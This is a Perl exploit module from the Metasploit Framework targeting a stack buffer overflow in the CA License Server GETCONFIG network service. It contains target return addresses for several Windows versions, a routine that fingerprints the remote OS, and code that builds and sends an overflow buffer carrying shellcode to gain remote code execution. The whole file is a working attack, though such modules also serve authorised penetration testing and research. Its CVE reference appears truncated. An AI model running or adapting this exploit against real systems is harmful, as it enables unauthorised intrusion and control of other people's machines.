##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::calicserv_getconfig;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
  'Name'  => 'CA License Server GETCONFIG Overflow',
  'Version'  => '$Revision: 1.8 $',
  'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
  'Arch'  => [ 'x86' ],
  'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
  'Priv'  => 1,
  'AutoOpts'  => { 'EXITFUNC' => 'thread' },
  'UserOpts'  => {
    'RHOST' => [1, 'ADDR', 'The target address'],
    'RPORT' => [1, 'PORT', 'The target port', 10202],
    },

  'Payload' =>
    {
    'Space'    => 600,
    'BadChars'  => "\x00\x20",
    'Prepend'  => "\x81\xc4\x54\xf2\xff\xff",
    'Keys'    => ['+ws2ord'],
    },

  'Description'  => Pex::Text::Freeform(qq{
        This module exploits an vulnerability in the CA License Server
        network service. This is a simple stack overflow and just one of
        many serious problems with this software.
}),

  'Refs'    =>
    [
    ['BID', '12705'],
    ['CVE', '005-0581'],
    ['URL', 'http://www.idefense.com/application/poi/display?id=213&type=vulnerabilities'],
    ],

  'Targets' => [

    # As much as I would like to return back to the DLL or EXE,
    # all of those modules have a leading NULL in the
    # loaded @ address :(

    ['Automatic', 0],
    ['Windows 2000 English',         0x750217ae, 0x7ffde0cc], # ws2help.dll esi + peb
    ['Windows XP English SP0-1',     0x71aa16e5, 0x7ffde0cc], # ws2help.dll esi + peb
    ['Windows XP English SP2',       0x71aa1b22, 0x71aa5001], # ws2help.dll esi + .data
    ['Windows 2003 English SP0',     0x71bf175f, 0x7ffde0cc], # ws2help.dll esi + peb
    ],
  'Keys'  => ['calicense'],
  };

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Check {
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');
  my $data = $self->GetConfig($target_host, $target_port);
  if (! $data) {
    $self->PrintLine("[*] Could not read remote configuration");
    return $self->CheckCode('Connect');
  }

  $self->PrintLine("[*] License Server: $data");
  return $self->CheckCode('Detected');
}

sub Exploit {
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');
  my $target_idx  = $self->GetVar('TARGET');
  my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  my $target = $self->Targets->[$target_idx];

  if ($target_idx == 0) {
    my $data = $self->GetConfig($target_host, $target_port);
    if ($data =~ m/OS\<([^\>]+)/) {
      my $os = $1;
      $os =~ s/_NT//g;
      $os =~ s/5\.1/XP/;
      $os =~ s/5\.2/2003/;
      $os =~ s/5\.0/2000/;
      $os =~ s/4\.0/NT 4.0/;

      my @targs;
      for (1 .. (scalar(@{$self->Targets})-1)) {
        if (index($self->Targets->[$_]->[0], $os) != -1) {
          push @targs, $_;
        }
      }

      if (scalar(@targs) > 1) {
        $self->PrintLine("[*] Multiple possible targets:");
        foreach (@targs) {
          $self->PrintLine("[*]  $_\t".$self->Targets->[$_]->[0]);
        }
        return;
      }

      if (scalar(@targs) == 1) {
        $target = $self->Targets->[$targs[0]];
      }

      if (! scalar(@targs)) {
        $self->PrintLine("[*] No matching target for $os");
        return;
      }

    } else {
      $self->PrintLine("[*] Could not determine the remote OS automatically");
      return;
    }
  }

  $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);

  my $s = Msf::Socket::Tcp->new
    (
    'PeerAddr'  => $target_host,
    'PeerPort'  => $target_port,
    'LocalPort' => $self->GetVar('CPORT'),
    'SSL'       => $self->GetVar('SSL'),
    );

  if ($s->IsError) {
    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
    return;
  }

  # Read the initial greeting from the license server
  my $res = $s->Recv(-1, 1);
  if (! $res || $res !~ /GETCONFIG/) {
    $self->PrintLine("[*] The server did not return the expected greeting");
    return;
  }

  my $boom = Pex::Text::EnglishText(900);

  # 144 -> original return address
  # 148 -> avoid exception by patching with writable address
  # 928 -> seh handler (not useful under XP SP2)

  substr($boom, 144, 4, pack('V', $target->[1]));     # jmp esi
  substr($boom, 148, 4, pack('V', $target->[2]));     # writable address
  substr($boom, 272, length($shellcode), $shellcode);

  my $req = "A0 GETCONFIG SELF $boom<EOM>";

  $self->PrintLine("[*] Sending " .length($req) . " bytes to remote host.");
  $s->Send($req);

  return;
}

# Returns data in the following format
#A0 GCR HOSTNAME<BOOFERM>HARDWARE<009c059010204>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>

sub GetConfig {
  my $self = shift;
  my $target_host = shift;
  my $target_port = shift;

  my $s = Msf::Socket::Tcp->new
    (
    'PeerAddr'  => $target_host,
    'PeerPort'  => $target_port,
    'LocalPort' => $self->GetVar('CPORT'),
    'SSL'       => $self->GetVar('SSL'),
    );

  if ($s->IsError) {
    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
    return;
  }

  # Recieve the message that is first sent
  $s->Recv(-1, 1);

  # Ask for the configuration info
  $s->Send("A0 GETCONFIG SELF 0<EOM>");
  my $res = $s->Recv(-1, 2);

  # Close the socket
  $s->Close;

  # Return the data
  return $res;
}

1;